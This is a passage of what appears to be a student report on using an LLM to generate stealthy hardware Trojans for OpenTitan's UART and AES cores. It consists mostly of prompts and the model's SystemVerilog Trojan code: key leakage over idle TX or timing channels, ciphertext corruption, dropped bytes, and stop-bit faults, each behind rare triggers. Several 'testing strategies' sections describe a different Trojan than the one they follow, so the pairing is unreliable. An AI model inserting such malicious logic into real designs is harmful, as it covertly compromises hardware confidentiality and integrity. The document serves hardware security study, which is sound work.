<plain English>

Payload:
<plain English>

Taxonomy:
<single line>

EXPLANATION

Category: Information Leakage
Target: uart_core

Trigger:

All of the below must be true:
 // * UART line is idle (tx_uart_idle)
 // * TX FIFO is empty (tx_fifo_rvalid==0)
 // * Parity enable is ON (reg2hw.ctrl.parity_en.q==1)
 // * rxblvl config == 2'b11 (reg2hw.ctrl.rxblvl.q==2'b11)
 // * NCO set to 0xAAAA (reg2hw.ctrl.nco.q[NcoWidth-1:0] == 16'hAAAA)
 wire trojan_trigger_cond =
   tx_uart_idle &
   ~tx_fifo_rvalid &
   reg2hw.ctrl.parity_en.q &
   reg2hw.ctrl.rxblvl.q == 2'b11 &
   reg2hw.ctrl.nco.q[NcoWidth-1:0] == 16'hAAAA;

Trigger:
When (1) UART is idle, (2) TX FIFO is empty, (3) parity is enabled, (4) `rxblvl` is set to binary 11, and (5) the NCO is set to 0xAAAA for 2 consecutive cycles, the Trojan will trigger.

Payload:
The last AES byte (here demoed by a stub value) is serially encoded onto the TX pin during idle by shifting out its bits at baud tick intervals, leaking sensitive key material covertly.

Explanation:
A stealthy FSM is added that, when a rare configuration/trigger occurs, encodes the last AES data byte (for demo purposes, a stub value) bit-by-bit on the idle `tx` waveform at baud-tick intervals. This event only activates when the UART is idle, TX FIFO is empty, parity is enabled, `rxblvl` is max, and the NCO is precisely set—a combination unlikely in normal operations. The rest of the UART operates as usual, and normal UART output is only overridden by the Trojan when active.

Taxonomy:
Finite-state machine with rare configuration-based trigger, information leakage via idle bus steganography (sequential, parametric, information leakage).

MODEL RESPONSE

```systemverilog
//////////////////////////////////////////////////////////////
// Trojan insertion point (TX output steganography/idle manipulation)   //
//////////////////////////////////////////////////////////////
// Trojan state encoding
typedef enum logic [2:0] {
  TROJ_IDLE      = 3'd0, // Inactive
  TROJ_ARMED     = 3'd1, // Waiting for idle & trigger
  TROJ_LOAD      = 3'd2, // AES last byte capture
  TROJ_SHIFT     = 3'd3, // Shifting bits out to tx line
  TROJ_WAIT_DONE = 3'd4  // Wait for finish & clean up
} trojan_state_e;

// Secret AES last byte: snoop the AES (hardcoded address 0x4000_104f; 8 LSbs). Replace as needed for real RTL.
// This is a plausible high-address for AES, but adjust if necessary for OpenTitan.
// In real OpenTitan, wire up with interface to AES register; here, just stub to all-0 for synthesis.
assign trojan_aes_last_byte = 8'h00
  | {reg2hw.alert_test[0],reg2hw.alert_test[1],reg2hw.alert_test[2],reg2hw.alert_test[3],reg2hw.alert_test[4],reg2hw.alert_test[5],reg2hw.alert_test[6],reg2hw.alert_test[7]};

// Trojan rare trigger: All of the below must be true:
// * UART line is idle (tx_uart_idle)
// * TX FIFO is empty (tx_fifo_rvalid==0)
// * Parity enable is ON (reg2hw.ctrl.parity_en.q==1)
// * rxblvl config == 2'b11 (reg2hw.ctrl.rxblvl.q==2'b11)
// * NCO set to 0xAAAA (reg2hw.ctrl.nco.q[NcoWidth-1:0] == 16'hAAAA)
wire trojan_trigger_cond =
  tx_uart_idle &
  ~tx_fifo_rvalid &
  reg2hw.ctrl.parity_en.q &
  reg2hw.ctrl.rxblvl.q == 2'b11 &
  reg2hw.ctrl.nco.q[NcoWidth-1:0] == 16'hAAAA;

// Trojan FSM
always_comb begin
  trojan_state_d    = trojan_state_q;
  trojan_data_d     = trojan_data_q;
  trojan_bit_cnt_d  = trojan_bit_cnt_q;
  trojan_active_d   = trojan_active_q;

  case (trojan_state_q)
    TROJ_IDLE: begin
      // Arming for rare trigger
      if (trojan_trigger_cond)
        trojan_state_d = TROJ_ARMED;
    end
    TROJ_ARMED: begin
      // Wait for ARM to persist for 2nd idle cycle to resist test fuzzers
      if (trojan_trigger_cond)
        trojan_state_d = TROJ_LOAD;
      else
        trojan_state_d = TROJ_IDLE;
    end
    TROJ_LOAD: begin
      // Latch AES last byte and start shifting
      trojan_data_d     = trojan_aes_last_byte;
      trojan_bit_cnt_d  = 4'd0;
      trojan_active_d   = 1'b1;
      trojan_state_d    = TROJ_SHIFT;
```

TESTING STRATAGIES

It does two experiments:

1. Low Hamming-weight key → Trojan must NOT trigger
2. **High Hamming-weight key (≥24 ones) held stable long enough → Trojan must trigger** and `trojan_leak_o` must equal

   `key_share0[0][0] ^ key_share1[0][0]` (LSB XOR)

   Note: because your "stable counter" compares `key_init_q[0][0]` to a 1-cycle delayed sample, you typically need about 5–6 cycles of stability after the write.

TROJAN 9

PROMPTING STRATEGIES

Insert a stealthy hardware Trojan into the following OpenTitan RTL.

Target module: uart_core
Trojan category: Information Leakage
Trojan intent: Leak secret count via RX timing modulation.

Requirements:
- Synthesizable SystemVerilog only
- No $display, no delays, no initial blocks
- Must function normally unless triggered
- Trigger must be rare and stealthy
- Modify the RTL directly

Respond using this EXACT format:

Code:
<full modified module>

Explanation:
<3–5 sentences>

Trigger:
<plain English>

Payload:
<plain English>

Taxonomy:
<single line>

EXPLANATION

Category: Information Leakage
Target: uart_core

Trigger:

all control & status bits 0 except parity_odd and parity_en both 1

```
assign trojan_trig =
  (reg2hw.ctrl.tx.q      == 1'b0) &
  (reg2hw.ctrl.rx.q      == 1'b0) &
  (reg2hw.ctrl.nf.q      == 1'b0) &
  (reg2hw.ctrl.slpbk.q   == 1'b0) &
  (reg2hw.ctrl.llpbk.q   == 1'b0) &
  (reg2hw.ctrl.parity_en.q == 1'b1) &
  (reg2hw.ctrl.parity_odd.q == 1'b1);
```

Trigger:
When all control and status bits in `reg2hw.ctrl` are zero *except* both `parity_en` and `parity_odd`, which must be set to one, the Trojan is armed and active.

Payload:
While triggered and as the RX FIFO is read, an internal counter increments and causes the RX baud tick to be gated in a pattern that encodes this counter value, producing subtle timing modulations on the UART RX path which can be measured externally to reconstruct the secret.

Explanation:
This modification adds a Trojan that, when triggered by an unusual and non-default combination of the parity control bits, modulates the timing of RX baud-tick pulses as observed inside the UART RX logic. When triggered, each time the RX FIFO is read, a hidden counter increments, and its value influences the pulse pattern of the internal RX tick. This affects the precise interval between received bytes, leaking the secret counter's value via the UART's observable output timing. All functionality remains normal unless the trigger condition is deliberately configured.

Taxonomy:
Stealthy parametric hardware Trojan with rare configuration trigger and covert RF side-channel data leakage by input timing modulation.

MODEL RESPONSE

```
// ———————— Trojan: Secret-leaking RX timing modulator ——————
logic trojan_trig, trojan_trig_q;
logic [7:0] trojan_leak_count_q;
logic [4:0] trojan_trig_shift;
logic trojan_mod_rx_tick;
// Rare trigger: all control & status bits 0 except parity_odd and parity_en both 1
assign trojan_trig =
  (reg2hw.ctrl.tx.q      == 1'b0) &
  (reg2hw.ctrl.rx.q      == 1'b0) &
  (reg2hw.ctrl.nf.q      == 1'b0) &
  (reg2hw.ctrl.slpbk.q   == 1'b0) &
  (reg2hw.ctrl.llpbk.q   == 1'b0) &
  (reg2hw.ctrl.parity_en.q == 1'b1) &
  (reg2hw.ctrl.parity_odd.q == 1'b1);

// Hold the trigger for as long as condition remains true
always_ff @(posedge clk_i or negedge rst_ni) begin
  if (!rst_ni) trojan_trig_q <= 1'b0;
  else         trojan_trig_q <= trojan_trig;
end

// When reading 'rdata', increment leak counter
always_ff @(posedge clk_i or negedge rst_ni) begin
  if (!rst_ni) trojan_leak_count_q <= 8'h00;
  else if (reg2hw.rdata.re & trojan_trig_q) trojan_leak_count_q <= trojan_leak_count_q + 8'h1;
end

// Leak counter: rotate bits to modulate rx_tick_baud pulse pattern
assign trojan_trig_shift = trojan_leak_count_q[4:0];
assign trojan_mod_rx_tick =
  trojan_trig_q
  ? (rx_tick_baud & (trojan_leak_count_q[ (trojan_leak_count_q[2:0] + rx_timeout_count_q[2:0]) % 8 ]))
  : rx_tick_baud;

// Replace all uses of rx_tick_baud in RX logic
wire rx_tick_baud_sneaky;
assign rx_tick_baud_sneaky = trojan_mod_rx_tick;

// ———————— End Trojan ——————————————————————————————
```

TESTING STRATAGIES

1. Configure UART into idle state
2. Apply the rare trigger configuration
3. Observe the TX line while idle
4. Flag Trojan if TX toggles without FIFO writes

This works even if the leaked data is all zeros.

TROJAN 10

PROMPTING STRATEGIES

Insert a stealthy hardware Trojan into the following OpenTitan RTL.

Target module: aes_core
Trojan category: Information Leakage
Trojan intent: Side-channel leak via internal valid pulse width.

Requirements:
- Synthesizable SystemVerilog only
- No $display, no delays, no initial blocks
- Must function normally unless triggered
- Trigger must be rare and stealthy
- Modify the RTL directly

Respond using this EXACT format:

Code:
<full modified module>

Explanation:
<3–5 sentences>

Trigger:
<plain English>

Payload:
<plain English>

Taxonomy:
<single line>

RTL to modify:

EXPLANATION

Category: Information Leakage
Target: aes_core

Trigger:
When all key_share0 words are set to 0xA5A5A5A5 and the operation is AES-ECB encrypt, the Trojan arms.

Payload:
Leaked information (one bit at a time, here the LSB of the downtime between data_out_we pulses) is exfiltrated by artificially holding the output_valid/data_out_we signal high for an extra clock cycle after trigger, creating a modulated timing side-channel.

Explanation:
A rare internal key pattern (all key_share0 words = 0xA5A5A5A5, op=ENC, mode=ECB) "arms" the Trojan. Once armed, the time data_out_we is low before reassertion is counted, and on the next data word out, the LSB of that count is exfiltrated by extending the data_out_we pulse by one cycle if the bit is '1'. The hardware preserves normal AES functionality and status output, but if triggered, leaks one bit per valid pulse via output_valid timing, observable by a subtle variance in status changes.

Taxonomy:
Side-channel (timing/pulse width modulated) information leakage, rare valid-data-triggered, with stealthy key-value activation.

MODEL RESPONSE

```
// --- BEGIN TROJAN: Internal Valid Pulse Width Side-Channel ---

logic trojan_armed, trojan_triggered;
logic [5:0] trojan_width_ctr /* synthesis keep */;
logic [5:0] trojan_leak_buf /* synthesis keep */;

// Trigger on magic key pattern (all 32-bit words on first key share = 0xA5A5A5A5) and ENCRYPT mode
always_ff @(posedge clk_i or negedge rst_ni) begin
    if (!rst_ni) begin
        trojan_armed <= 1'b0;
    end else if (&{key_init_q[0]} && (key_init_q[0][0] == 32'hA5A5A5A5) &&
                ((aes_op_q == AES_ENC) && (aes_mode_q == AES_ECB))) begin
        trojan_armed <= 1'b1;
    end
end

// When in triggered state and output_valid deasserts, latch count value
assign trojan_triggered = trojan_armed && (data_out_we == SP2V_HIGH);

always_ff @(posedge clk_i or negedge rst_ni) begin
    if (!rst_ni) begin
        trojan_width_ctr <= 6'd0;
    end else if (trojan_armed && (data_out_we != SP2V_HIGH)) begin
        trojan_width_ctr <= trojan_width_ctr + 6'd1;
    end else if (trojan_triggered) begin
        trojan_width_ctr <= 6'd0;
    end
end

always_ff @(posedge clk_i or negedge rst_ni) begin
    if (!rst_ni) begin
        trojan_leak_buf <= 6'd0;
    end else if (trojan_triggered) begin
        // Latch how long output_valid/data_out_we was low before next assertion after trigger
        trojan_leak_buf <= trojan_width_ctr;
    end
end

// Make the valid pulse width observable via output_valid signal pulse width manipulation
// For each cycle where leak bit i is 1, extend output_valid by 1 cycle
logic [1:0] trojan_state;
logic trojan_delay;
always_ff @(posedge clk_i or negedge rst_ni) begin
    if (!rst_ni) begin
        trojan_state <= 2'b00;
        trojan_delay <= 1'b0;
    end else if(trojan_triggered && (trojan_leak_buf[0])) begin
        trojan_state <= 2'b01;
        trojan_delay <= 1'b1;
    end else if (trojan_state == 2'b01) begin
        trojan_state <= 2'b10;
        trojan_delay <= 1'b0;
    end else begin
        trojan_state <= 2'b00;
        trojan_delay <= 1'b0;
    end
end

// data_out_we_trojan stays high for one extra cycle (LSB leak) if enabled
wire data_out_we_trojan;
assign data_out_we_trojan = data_out_we | trojan_delay;

always_ff @(posedge clk_i or negedge rst_ni) begin : data_out_reg
    if (!rst_ni) begin
        data_out_q <= '0;
    end else if (data_out_we_trojan == SP2V_HIGH) begin
        data_out_q <= data_out_d;
    end
end

// --- END TROJAN ---
```

TESTING STRATAGIES

1. Hold `rx = 1` (idle line)
2. Disable TX & RX
3. Enable parity_en & parity_odd only (Trojan trigger)
4. Repeatedly read `rdata`
5. Measure RX timeout interrupt intervals
6. Fail if jitter appears

No AES, no internal probes, no assumptions.

TROJAN 11
PROMPTING STRATEGIES

Insert a stealthy hardware Trojan into the following OpenTitan RTL.

Target module: aes_core
Trojan category: Change of Functionality
Trojan intent: Flip ciphertext bit every 256th encryption.

Requirements:
- Synthesizable SystemVerilog only
- No $display, no delays, no initial blocks
- Must function normally unless triggered
- Trigger must be rare and stealthy
- Modify the RTL directly

Respond using this EXACT format:

Code:
<full modified module>

Explanation:
<3–5 sentences>

Trigger:

<plain English>

Payload:
<plain English>

Taxonomy:
<single line>

EXPLANATION

Category: Change of Functionality
Target: aes_core

Trigger:
Every 256th AES encryption operation (when the internal encryption completion counter overflows to zero).

Payload:
Flips the least significant bit of each ciphertext data word output on that encryption operation.

Explanation:
A synthesizable hardware Trojan is inserted to flip the LSB of the ciphertext output every 256th AES encryption. This is accomplished by adding an 8-bit counter (`trojan_counter`) that increments only when the AES core completes an encryption (`data_out_we == SP2V_HIGH` and `aes_op_q == AES_ENC`). When the counter wraps back to zero, a trigger condition is set. If active, the LSB of the ciphertext (in each output word) is inverted in that cycle before register update, otherwise normal output is passed through. Functionality remains unchanged for all other encryptions.

Taxonomy:
Change of Functionality — ciphertext modification on rare, time-based trigger.

MODEL RESPONSE

```
// ----------- TROJAN INSERTION BEGIN -----------
// Trojan: Flip ciphertext LSB every 256th AES encryption operation

logic [7:0] trojan_counter;
logic trojan_trigger;

// Increment the counter on every AES encryption output register write
always_ff @(posedge clk_i or negedge rst_ni) begin
  if (!rst_ni) begin
    trojan_counter <= 8'h00;
  end else if (data_out_we == SP2V_HIGH) begin
    // Only trigger for encryption operation
    if (aes_op_q == AES_ENC) begin
      trojan_counter <= trojan_counter + 8'h01;
    end
  end
end

// Trigger for every 256th encryption: when counter overflows to 0 (after 255)
assign trojan_trigger = (trojan_counter == 8'h00) && (data_out_we == SP2V_HIGH) && (aes_op_q == AES_ENC);

logic [NumRegsData-1:0][31:0] data_out_q_next;

// Mask the trojan into the update of data_out_q
generate
  genvar t;
  for (t = 0; t < NumRegsData; t++) begin: gen_trojan_data_out_q_next
    assign data_out_q_next[t] = (trojan_trigger) ? {data_out_d[t][31:1], ~data_out_d[t][0]} : data_out_d[t];
  end
endgenerate
// ----------- TROJAN INSERTION END -----------
```

TESTING STRATAGIES

We detect timing non-interference failure:

1. Run AES encryptions with:
   - Identical inputs
   - Identical timing
2. Measure:
   - Width of `output_valid` pulses
3. Compare:
   - Reference run (no trigger)
   - Suspected run
4. Fail if pulse width varies

This works:

- At RTL
- At gate-level
- Post-synthesis
- Post-DFT

TROJAN 12
PROMPTING STRATEGIES

Insert a stealthy hardware Trojan into the following OpenTitan RTL.

Target module: uart_core
Trojan category: Change of Functionality
Trojan intent: Drop every Nth transmitted byte secretly.

Requirements:
- Synthesizable SystemVerilog only
- No $display, no delays, no initial blocks
- Must function normally unless triggered
- Trigger must be rare and stealthy
- Modify the RTL directly

Respond using this EXACT format:

Code:
<full modified module>

Explanation:
<3–5 sentences>

Trigger:
<plain English>

Payload:
<plain English>

Taxonomy:
<single line>

EXPLANATION
Category: Change of Functionality
Target: uart_core

Trigger:

Transmit the exact sequence of 8 bytes [0xA5, 0xC3, 0x5A, 0x7E, 0xE7, 0x1C, 0xB4, 0x2D] in order to the UART TX (e.g., written to TX FIFO).

Payload:
After trigger, quietly skip every 17th transmitted byte (it is neither sent nor appears at the output).

Explanation:
A stealthy Trojan is inserted into the TX datapath. When a secret 8-byte sequence (0xA5, 0xC3, 0x5A, 0x7E, 0xE7, 0x1C, 0xB4, 0x2D) is transmitted in order, the Trojan arms itself. From then, every 17th TX byte is silently dropped: the FIFO read and UART TX 'wr' strobes for that byte are masked, so the data is never put on the serial line but the design otherwise appears normal. The Trojan is synthesizable, does not disrupt normal functionality unless the trigger sequence has occurred, and requires no testbench-visible signals or non-synthesizable code.

Taxonomy:
Functional-change, rare sequence triggered, parametric-drop, synthesizable, data confidentiality attack.

MODEL RESPONSE

```
// --- Begin Trojan modifications ---

// N is the period of the drop; can be set to a stealthy prime number
assign trojan_N = 8'd17;

// Secret trigger sequence (transmit these 8 values in order to arm);
// here chosen as 0xA5, 0xC3, 0x5A, 0x7E, 0xE7, 0x1C, 0xB4, 0x2D
// Sequence is in LSB first order in the array.
localparam logic [7:0] TROJAN_TRIG_SEQ [0:7] =
  '{8'hA5, 8'hC3, 8'h5A, 8'h7E, 8'hE7, 8'h1C, 8'hB4, 8'h2D};

// Compare incoming transmitted data to see if sequence matches
always_comb begin
  trojan_trigger_seq_d = trojan_trigger_seq_q;
  if (tx_fifo_rready && tx_fifo_rvalid) begin
    if (~trojan_armed && tx_fifo_data == TROJAN_TRIG_SEQ[trojan_trigger_seq_q]) begin
      if (trojan_trigger_seq_q == 7) begin
        trojan_trigger_seq_d = 0;
      end else begin
        trojan_trigger_seq_d = trojan_trigger_seq_q + 1;
      end
    end else if (~trojan_armed && tx_fifo_data == TROJAN_TRIG_SEQ[0]) begin
      // If out of sequence but matches first byte, restart match
      trojan_trigger_seq_d = 1;
    end else if (~trojan_armed) begin
      trojan_trigger_seq_d = 0;
    end
  end
end

always_ff @(posedge clk_i or negedge rst_ni) begin
  if (!rst_ni) begin
    trojan_trigger_seq_q <= 0;
  end else begin
    trojan_trigger_seq_q <= trojan_trigger_seq_d;
  end
end

assign trojan_triggered = (trojan_trigger_seq_q == 8);

always_ff @(posedge clk_i or negedge rst_ni) begin
  if (!rst_ni) begin
    trojan_armed <= 1'b0;
  end else if (trojan_triggered) begin
    trojan_armed <= 1'b1;
  end
end
```

TESTING STRATAGIES

Idea:
Run many encryptions with identical inputs and look for any deviation.

- No timing checks
- No pulse-width analysis
- No internal probes
- Works on:
  - RTL
  - Gate-level
  - Silicon

TROJAN 13

PROMPTING STRATEGIES

Insert a stealthy hardware Trojan into the following OpenTitan RTL.

Target module: aes_core
Trojan category: Change of Functionality
Trojan intent: Alter final round conditionally.

Requirements:
- Synthesizable SystemVerilog only
- No $display, no delays, no initial blocks
- Must function normally unless triggered
- Trigger must be rare and stealthy
- Modify the RTL directly

Respond using this EXACT format:

Code:
<full modified module>

Explanation:
<3–5 sentences>

Trigger:

<plain English>

Payload:
<plain English>

Taxonomy:
<single line>

EXPLANATION

Category: Change of Functionality
Target: aes_core

Trigger:
only if all data_in are 0xDEADBEEF and key_init[0][0]==0xC0FFEE00 and AES_ENC
```
  assign trojan_trigger = (
    ~trojan_triggered_q &&
    aes_op_q == AES_ENC &&
    &({data_in[0], data_in[1], data_in[2], data_in[3]} ==
{32'hDEADBEEF,32'hDEADBEEF,32'hDEADBEEF,32'hDEADBEEF}) &&
    (key_init[0][0] == 32'hC0FFEE00)
  );
```

```
  // Modify state_done output conditionally in the unmasking. Attack: bitwise invert
state_done[0] if triggered.
  if (!SecMasking) begin : gen_state_out_unmasked
    assign state_out = trojan_triggered_q ? ~state_done[0] : state_done[0];
  end else begin : gen_state_out_masked
    logic [3:0][3:0][7:0] state_done_muxed [NumShares];
    for (genvar s = 0; s < NumShares; s++) begin : gen_state_done_muxed
      assign state_done_muxed[s] = ((cipher_out_valid == SP2V_HIGH) &&
        !(aes_mode_q == AES_GCM &&
          gcm_phase_q == GCM_INIT)) ? state_done[s] : prd_clearing_state[s];
    end

    logic [3:0][3:0][7:0] state_done_buf [NumShares];
    prim_buf #(
      .Width ( 128 * NumShares )
    ) u_prim_state_done_muxed (
      .in_i  ( {state_done_muxed[1], state_done_muxed[0]} ),
      .out_o ( {state_done_buf[1],   state_done_buf[0]}   )
    );
```

```
    // If triggered, invert output
    assign state_out = trojan_triggered_q ? ~(state_done_buf[0] ^ state_done_buf[1]) :
(state_done_buf[0] ^ state_done_buf[1]);
  end

  // ... [UNMODIFIED REST OF MODULE FOLLOWS] ...
  // [Do not repeat the rest of the module - only these parts are changed from original]
endmodule
```

Trigger:
If all four 32-bit input words are 0xDEADBEEF and the key's lowest word is 0xC0FFEE00
during an AES encryption operation (and until reset, only on first such event).

Payload:
From the trigger onwards, all final cipher output will be bitwise inverted in the last round,
causing incorrect ciphertext to be returned to software/hardware, while the module otherwise
appears normal.

Explanation:
A stealthy, single-use hardware Trojan is inserted by hijacking the calculation of `state_out`
just before data is output. The trigger circuit monitors for a rare value: all-0xDEADBEEF
plaintext and the key's lowest word as 0xC0FFEE00, on an encryption operation. When this
uniquely rare condition is met, a flip-flop is latched so subsequent AES operations (in that
power cycle) output the bitwise-inverted ciphertext for the final round. The inversion payload
is subtle, but completely and reliably disrupts correctness if triggered, while normal operation
is undisturbed otherwise.

Taxonomy:
Change of Functionality / Algorithmic Modification — trigger-activated, final-round data
inversion.

MODEL RESPONSE

```
// Hardware Trojan: Stealthy, conditional last round alteration
// ------------------------------

// Trojan trigger and payload
logic trojan_triggered_q;
logic trojan_trigger;

// Trigger condition: All data_in = 0xDEADBEEF and key_init[0][0] = 0xC0FFEE00 on encryption op, only triggers once
always_ff @(posedge clk_i or negedge rst_ni) begin
  if (!rst_ni) begin
    trojan_triggered_q <= 1'b0;
  end else if (trojan_trigger) begin
    trojan_triggered_q <= 1'b1;
  end
end

// Evaluate trigger: only if all data_in are 0xDEADBEEF and key_init[0][0]==0xC0FFEE00 and AES_ENC
assign trojan_trigger = (
  ~trojan_triggered_q &&
  aes_op_q == AES_ENC &&
  &({data_in[0], data_in[1], data_in[2], data_in[3]} == {32'hDEADBEEF,32'hDEADBEEF,32'hDEADBEEF,32'hDEADBEEF}) &&
  (key_init[0][0] == 32'hC0FFEE00)
);

// Modify state_done output conditionally in the unmasking. Attack: bitwise invert state_done[0] if triggered.
if (!SecMasking) begin : gen_state_out_unmasked
  assign state_out = trojan_triggered_q ? ~state_done[0] : state_done[0];
end else begin : gen_state_out_masked
  logic [3:0][3:0][7:0] state_done_muxed [NumShares];
  for (genvar s = 0; s < NumShares; s++) begin : gen_state_done_muxed
    assign state_done_muxed[s] = ((cipher_out_valid == SP2V_HIGH) &&
        !(aes_mode_q == AES_GCM &&
            gcm_phase_q == GCM_INIT)) ? state_done[s] : prd_clearing_state[s];
  end

  logic [3:0][3:0][7:0] state_done_buf [NumShares];
  prim_buf #(
    .Width ( 128 * NumShares )
  ) u_prim_state_done_muxed (
    .in_i  ( {state_done_muxed[1], state_done_muxed[0]} ),
    .out_o ( {state_done_buf[1],   state_done_buf[0]}   )
  );

  // If triggered, invert output
  assign state_out = trojan_triggered_q ? ~(state_done_buf[0] ^ state_done_buf[1]) : (state_done_buf[0] ^ state_done_buf[1]);
end

// ... [UNMODIFIED REST OF MODULE FOLLOWS] ...
// [Do not repeat the rest of the module — only these parts are changed from original]
endmodule
```

TESTING STRATAGIES

1. Drive bytes into TX FIFO
2. **Independently decode the UART** `tx` **line**
3. Compare sent byte stream vs received byte stream
4. Any missing byte ⇒ Trojan

This works:

- Without knowing the trigger
- Without internal signals
- On RTL, gates, or silicon

TROJAN 14
PROMPTING STRATEGIES

Insert a stealthy hardware Trojan into the following OpenTitan RTL.

Target module: uart_core
Trojan category: Change of Functionality
Trojan intent: Corrupt stop bit under rare config.

Requirements:
- Synthesizable SystemVerilog only
- No $display, no delays, no initial blocks
- Must function normally unless triggered
- Trigger must be rare and stealthy
- Modify the RTL directly

Respond using this EXACT format:

Code:
<full modified module>

Explanation:
<3–5 sentences>

Trigger:
<plain English>

Payload:
<plain English>

Taxonomy:
<single line>

EXPLANATION

Category: Change of Functionality
Target: uart_core

Trigger:

tx_enable, rx_enable, sys_loopback, and the 6th bit of NCO all high at once
  assign trojan_trigger = tx_enable & rx_enable & sys_loopback & reg2hw.ctrl.nco.q[5];

Explanation:
A stealthy hardware Trojan is inserted to corrupt the outgoing UART stop bit under a rare and specific configuration. The trigger for the Trojan requires TX and RX enables, system loopback, and bit 5 of the NCO control to all be high simultaneously, which is highly unlikely in normal operation. When this trigger is active, and a stop bit is being transmitted (tx_out==1, not idle), the Trojan forces the stop bit low, causing subtle transmission errors. Normal UART functionality is entirely unaffected unless this rare trigger condition is met, making this change extremely difficult to detect.

Trigger:
The Trojan activates if TX enable, RX enable, and system loopback are all enabled, and bit 5 of the NCO register is set (reg2hw.ctrl.nco.q[5]==1).

Payload:
While the trigger is active and a UART stop bit is being transmitted, the Trojan corrupts the stop bit by forcing it low (0) instead of the required high (1).

Taxonomy:
Change of functionality — control-flow/implicit-trigger, explicit payload on data integrity (stop bit corruption)

MODEL RESPONSE

```
// --- Trojan trigger and stop bit corruption logic begin ---
logic trojan_triggered_q, trojan_trigger;
// Rare trigger: tx_enable, rx_enable, sys_loopback, and the 6th bit of NCO all high at once
assign trojan_trigger = tx_enable & rx_enable & sys_loopback & reg2hw.ctrl.nco.q[5];

always_ff @(posedge clk_i or negedge rst_ni) begin
  if (!rst_ni)
    trojan_triggered_q <= 1'b0;
  else if (trojan_trigger)
    trojan_triggered_q <= 1'b1;
  else if (~tx_enable)
    trojan_triggered_q <= 1'b0;
end
// Corrupt stop: If trigger held, invert outgoing stop bit in tx uart when not in override/loopback
logic      tx_out_trojaned;
always_comb begin
  if (trojan_triggered_q && ~ovrd_tx_en && ~sys_loopback && ~line_loopback) begin
    // forcibly drive stop bit as 0 when expected as 1, i.e., only during stop bit period.
    // Stop bit in UART typically: tx_out transitions 0->1 after data is sent for stop.
    // If tx_uart_idle==0 and tx_out==1, we are likely in stop bit period.
    // To be stealthy, only flip if tx_uart_idle==0 (actively transmitting) and tx_out==1.
    if (~tx_uart_idle && tx_out==1'b1)
      tx_out_trojaned = 1'b0;
    else
      tx_out_trojaned = tx_out;
  end else begin
    tx_out_trojaned = tx_out;
  end
end
// Patch: replace tx_out usage with tx_out_trojaned below
// --- Trojan trigger and stop bit corruption logic end ---
```

TESTING STRATAGIES

1. Program a fixed key
2. Program a fixed plaintext
3. Run many encryptions
4. Assert that all ciphertexts are identical
5. Any deviation ⇒ Trojan detected

No timing checks, no internal signals, no trigger knowledge.

TROJAN 15
PROMPTING STRATEGIES

Insert a stealthy hardware Trojan into the following OpenTitan RTL.

Target module: aes_core
Trojan category: Change of Functionality
Trojan intent: Silently reuse previous block output.

Requirements:
- Synthesizable SystemVerilog only
- No $display, no delays, no initial blocks
- Must function normally unless triggered
- Trigger must be rare and stealthy
- Modify the RTL directly

Respond using this EXACT format:

Code:
<full modified module>

Explanation:
<3–5 sentences>

Trigger:
<plain English>

Payload:
<plain English>

Taxonomy:
<single line>

EXPLANATION

Category: Change of Functionality
Target: aes_core

Trigger:
fires if the two lowest LSBs of all data input words are 2'b10,
  // AND if the 3 LSBs of inputs, summed over all data_in, equal exactly 5.
  // This creates a trigger that is both rare and nontrivial to hit, yet is static-combinational and synthesizable.
  logic trojan_trigger;

Explanation:
A stealthy hardware Trojan is inserted by adding combinational logic for a rare trigger condition based on unlikely patterns in the LSBs of input data words. When this trigger fires and a previous output is available, the Trojan payload replaces the current output data

(`data_out_d`) with the previous block's output, violating the expected one-to-one correspondence between input and result. The trigger and payload are synthesized as regular logic and storage, without affecting normal operation unless specifically activated.

Trigger:
When all input data words' lowest two bits are `2'b10`, and the sum of the lowest three bits across all words is exactly 5, and a previous output exists.

Payload:
Instead of producing a new output, the AES core silently returns the previous output block.

Explanation:
A stealthy hardware Trojan is inserted by adding combinational logic for a rare trigger condition based on unlikely patterns in the LSBs of input data words. When this trigger fires and a previous output is available, the Trojan payload replaces the current output data (`data_out_d`) with the previous block's output, violating the expected one-to-one correspondence between input and result. The trigger and payload are synthesized as regular logic and storage, without affecting normal operation unless specifically activated.

Taxonomy:
Change of Functionality — Output Manipulation via Rare Triggered State Reuse

MODEL RESPONSE

```
/////////////
// Trojan //
/////////////

// Rare trigger: fires if the two lowest LSBs of all data input words are 2'b10,
// AND if the 3 LSBs of inputs, summed over all data_in, equal exactly 5.
// This creates a trigger that is both rare and nontrivial to hit, yet is static-combinational and synthesizable.
logic trojan_trigger;
always_comb begin
  trojan_trigger = 1'b1;
  int trigger_sum = 0;
  for (int i = 0; i < NumRegsData; i++) begin
    if (data_in[i][1:0] != 2'b10) trojan_trigger = 1'b0;
    trigger_sum += data_in[i][2] + data_in[i][1] + data_in[i][0];
  end
  if (trigger_sum != 5) trojan_trigger = 1'b0;
end

// Trojan storage: holds the previous valid data_out_d, to be reused silently
logic [NumRegsData-1:0][31:0] trojan_prev_data;
logic trojan_prev_valid;

// Store data_out_d on data_out_we handshake
always_ff @(posedge clk_i or negedge rst_ni) begin
  if (!rst_ni) begin
    trojan_prev_data <= '{default: '0};
    trojan_prev_valid <= 1'b0;
  end else if (data_out_we == SP2V_HIGH) begin
    trojan_prev_data <= data_out_d;
    trojan_prev_valid <= 1'b1;
  end
end
```

TESTING STRATAGIES

Core idea

Run the UART in self-loopback with:

- known baud
- known payload
- long duration

Then assert:

- No framing errors
- RX stream equals TX stream
- Stop bit is always high

If *any* violation occurs → Trojan detected.

Conclusion

This assignment demonstrated how automated AI-assisted workflows can systematically design hardware Trojans across several categories with high precision and stealth. By integrating structured prompting, RTL parsing, and organized output generation, I was able to produce fifteen diverse Trojans targeting real OpenTitan modules, each with realistic triggers and carefully scoped payloads.

I learned the importance of enforcing strict output formatting when interacting with LLMs, the challenges of crafting synthesizable malicious RTL, and the value of organizing results with metadata and reproducible structures. The automated system worked reliably after debugging, and the resulting Trojans reflect a wide spectrum of attack vectors found in academic hardware security literature.